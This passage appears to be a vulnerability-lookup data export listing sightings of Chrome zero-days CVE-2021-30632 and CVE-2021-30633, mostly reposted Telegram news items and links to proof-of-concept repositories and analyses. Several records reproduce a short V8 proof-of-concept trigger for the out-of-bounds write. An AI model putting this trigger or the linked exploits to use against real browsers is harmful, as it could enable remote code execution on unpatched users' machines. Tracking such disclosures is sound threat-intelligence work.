Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-12T18:17:56.000000Z"}, {"uuid": "b1288721-2d93-4af5-9407-636f65238579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/856", "content": "CVE-2021-30632 Microsoft Edge v8\u5167\u5b58\u640d\u58de\u6f0f\u6d1e\nhttps://short.pwnwiki.org/?c=2nj2KW", "creation_timestamp": "2021-09-21T04:41:48.000000Z"}, {"uuid": "b5ad058e-929d-4852-acb1-0c4667dc89ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3179", "content": "CVE-2021-30632 #Chrome #0day #PoC \n\nvar a;\nfunction foo() {\n    a = new Uint32Array(100);\n}\n%PrepareFunctionForOptimization(foo);\nfoo();\nfoo();\na[\"xxx\"] =1;\ndelete a[\"xxx\"];\n%OptimizeFunctionOnNextCall(foo);\nfoo();", "creation_timestamp": "2021-09-15T21:35:05.000000Z"}, {"uuid": "388ef1fe-efee-4abe-8f67-e87ff0cb37c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3224", "content": "https://forum.reverse4you.org/t/cve-2021-30632-chrome-v8-rce-exploit-for-windows/17286", "creation_timestamp": "2021-10-26T18:10:01.000000Z"}, {"uuid": "0d18aa61-99a4-418b-9def-e7065e7d4ea4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/SecLabNews/10863", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 93.0.4577.82 \u0434\u043b\u044f Windows, Mac \u0438 Linux, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 CVE-2021-30632 \u0438 CVE-2021-30633 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u00ab\u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\u00bb \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e.\n\n\u0421\u0430\u043c\u044b\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b Google 8 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2021 \u0431\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u0440\u0430 \u0438 \u043e\u0431\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u043f\u0430\u043c\u044f\u0442\u0438: CVE-2021-30632 - \u044d\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8, \u0430 CVE-2021-30633 - \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Indexed DB API. \u0411\u0430\u0433\u0438 \u043f\u0440\u0438 \u043e\u043f\u043b\u0435\u0442\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, Google \u043f\u0430\u0442\u0447\u0438\u0442 \u0443\u0436\u0435 10 zeroday \u0432 Chrome \u0437\u0430 \u044d\u0442\u043e\u0442 \u0433\u043e\u0434. \n\n\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u0442\u0438. \u0410 \u044d\u0442\u043e \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0442\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0443\u0434\u0435\u043b\u044f\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.  Chrome \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c \u0444\u0430\u0432\u043e\u0440\u0438\u0442\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u041e\u0421.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Google Chrome \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0434\u0430\u0431\u044b \u043d\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0435\u0431\u0435.", "creation_timestamp": "2021-09-14T13:18:38.000000Z"}, {"uuid": "81227e11-0f7e-45d9-bbcf-b32c9054b635", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://t.me/SecLabNews/10863", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 93.0.4577.82 \u0434\u043b\u044f Windows, Mac \u0438 Linux, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 CVE-2021-30632 \u0438 CVE-2021-30633 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u00ab\u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\u00bb \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e.\n\n\u0421\u0430\u043c\u044b\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b Google 8 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2021 \u0431\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u0440\u0430 \u0438 \u043e\u0431\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u043f\u0430\u043c\u044f\u0442\u0438: CVE-2021-30632 - \u044d\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8, \u0430 CVE-2021-30633 - \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Indexed DB API. \u0411\u0430\u0433\u0438 \u043f\u0440\u0438 \u043e\u043f\u043b\u0435\u0442\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, Google \u043f\u0430\u0442\u0447\u0438\u0442 \u0443\u0436\u0435 10 zeroday \u0432 Chrome \u0437\u0430 \u044d\u0442\u043e\u0442 \u0433\u043e\u0434. \n\n\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u0442\u0438. \u0410 \u044d\u0442\u043e \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0442\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0443\u0434\u0435\u043b\u044f\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.  Chrome \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c \u0444\u0430\u0432\u043e\u0440\u0438\u0442\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u041e\u0421.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Google Chrome \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0434\u0430\u0431\u044b \u043d\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0435\u0431\u0435.", "creation_timestamp": "2021-09-14T13:18:38.000000Z"}, {"uuid": "8b10b6f9-33ae-4aca-8eea-01182c4c2d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/4342", "content": "#exploit\nCVE-2021-30632:\nOut of bounds write in V8 (PoC)\nhttps://github.com/Phuong39/PoC-CVE-2021-30632\n]-> Analysis:\nhttps://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632\n// Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch", "creation_timestamp": "2021-09-28T11:44:37.000000Z"}, {"uuid": "07230f0a-a9e1-4cbe-9491-56f82a381acb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/4416", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Sep 1-30)\nCVE-2021-40444 - Microsoft MSHTML RCE\nhttps://t.me/cybersecuritytechnologies/4276\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-22005 - vCenter Server contains - arbitrary file upload\nhttps://t.me/cybersecuritytechnologies/4401\nCVE-2021-30860 - Zero-Click iPhone Exploit\nhttps://t.me/cybersecuritytechnologies/4318\nCVE-2021-38647 - OMIGOD RCE Vuln in Multiple Azure Linux Deployments\nhttps://t.me/cybersecuritytechnologies/4315\nCVE-2021-30632 - Out of bounds write in V8\nhttps://t.me/cybersecuritytechnologies/4342\nCVE-2021-33035 - Code Execution in Apache OpenOffice\nhttps://t.me/cybersecuritytechnologies/4329\nCVE-2021-38112 - AWS WorkSpaces Desktop Client RCE\nhttps://t.me/cybersecuritytechnologies/4358\nCVE-2021-30740 / CVE-2021-30768 - A malicious application may be able to execute arbitrary code with kernel privileges\nhttps://mobile.twitter.com/infinityABCDE/status/1437596340222038017", "creation_timestamp": "2021-10-01T11:01:01.000000Z"}, {"uuid": "4bced150-33e0-4c2e-9ace-82ee559be542", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/reverseame/1671", "content": "Chrome in-the-wild bug analysis: CVE-2021-30632 https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/", "creation_timestamp": "2026-08-03T07:13:06.737692Z"}, {"uuid": "7d5c6288-f442-4171-89e5-cf3cb5636c97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/reverseame/1671", "content": "Chrome in-the-wild bug analysis: CVE-2021-30632 https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/", "creation_timestamp": "2026-08-04T00:00:48.151760Z"}, {"uuid": "a041e933-6648-45d4-a178-24293056e865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/onelab1337/1457", "content": "CVE-2021-30632 #Chrome #0day #PoC \n\nvar a;\nfunction foo() {\n    a = new Uint32Array(100);\n}\n%PrepareFunctionForOptimization(foo);\nfoo();\nfoo();\na[\"xxx\"] =1;\ndelete a[\"xxx\"];\n%OptimizeFunctionOnNextCall(foo);\nfoo();", "creation_timestamp": "2026-08-09T05:02:32.803970Z"}, {"uuid": "10f39738-328c-4448-bc4c-e1d060567133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/1457", "content": "CVE-2021-30632 #Chrome #0day #PoC \n\nvar a;\nfunction foo() {\n    a = new Uint32Array(100);\n}\n%PrepareFunctionForOptimization(foo);\nfoo();\nfoo();\na[\"xxx\"] =1;\ndelete a[\"xxx\"];\n%OptimizeFunctionOnNextCall(foo);\nfoo();", "creation_timestamp": "2026-08-10T00:00:10.935581Z"}, {"uuid": "08e4c35f-fbae-46b7-8d5c-77d7d20f617a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1da7b826-3bbb-47fb-ae70-c47dd670a214", "content": "", "creation_timestamp": "2026-06-19T12:47:46.177576Z"}, {"uuid": "0d7dbb4d-ba51-4c01-8d4d-855f74ad2551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.480874Z"}, {"uuid": "a4c0bb86-6788-495e-a4a8-771c3fd9ce7a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cca064bf-44a0-4491-85ce-05a6829b3742", "content": "", "creation_timestamp": "2026-06-19T12:47:46.331593Z"}, {"uuid": "bbbc433a-9403-4d52-aaed-7671208fed2c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/abb865b4-4bbd-421d-b51d-33ae776452f4", "content": "", "creation_timestamp": "2026-06-23T14:04:42.581213Z"}, {"uuid": "546ea496-1c43-43c9-82be-d237e8682600", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3214830c-f4e0-4086-8396-39cc5f81798e", "content": "", "creation_timestamp": "2026-06-23T14:04:42.731967Z"}, {"uuid": "749546c3-0eb0-418c-af1b-f75c39b39dcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "Telegram/8g9qE3V3IhqTv_OCceR2iT57So_ULY18Bpbe6a8g9xtXT5o", "content": "", "creation_timestamp": "2026-08-28T13:00:05.014981Z"}, {"uuid": "29a642f8-f0b8-4eec-9232-b10f6b550f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "Telegram/8g9qE3V3IhqTv_OCceR2iT57So_ULY18Bpbe6a8g9xtXT5o", "content": "", "creation_timestamp": "2026-08-29T00:00:11.596865Z"}, {"uuid": "3cba568a-344c-41b4-bf76-9c01dac338d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/reverseame/1671", "content": "Chrome in-the-wild bug analysis: CVE-2021-30632 https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/", "creation_timestamp": "2026-07-29T12:02:53.112753Z"}, {"uuid": "ba7e68c9-85fb-43f5-bc0e-2d4d11f7e4b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/reverseame/1671", "content": "Chrome in-the-wild bug analysis: CVE-2021-30632 https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/", "creation_timestamp": "2026-07-30T00:02:43.488274Z"}, {"uuid": "4f504be1-2e2e-4e0b-b36d-eac3018bd4de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/cissp/4431", "content": "Javascript Anti Debugging\nPart 1 - Abusing SourceMappingURL\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-1-abusing-sourcemappingurl-da91ff948e66\nPart 2 - Abusing Chromium Devtools Scope Pane\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-2-abusing-chromium-devtools-scope-pane-b2796c00331d\n\nexploit\nCVE-2021-30632:\nOut of bounds write in V8 (PoC)\nhttps://github.com/Phuong39/PoC-CVE-2021-30632\n// Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch\n\nCloud Security\nBlue Team Techniques\n1. A Cloud Forensics Powershell module to run\nthreat hunting playbooks on data from Azure/O365\ud83d\ude01\nhttps://github.com/darkquasar/AzureHunter\n2. APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus\ud83d\ude01\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-259a", "creation_timestamp": "2026-09-01T17:00:39.699792Z"}, {"uuid": "4ece3173-cc3e-4843-b5df-338fa100fd68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* 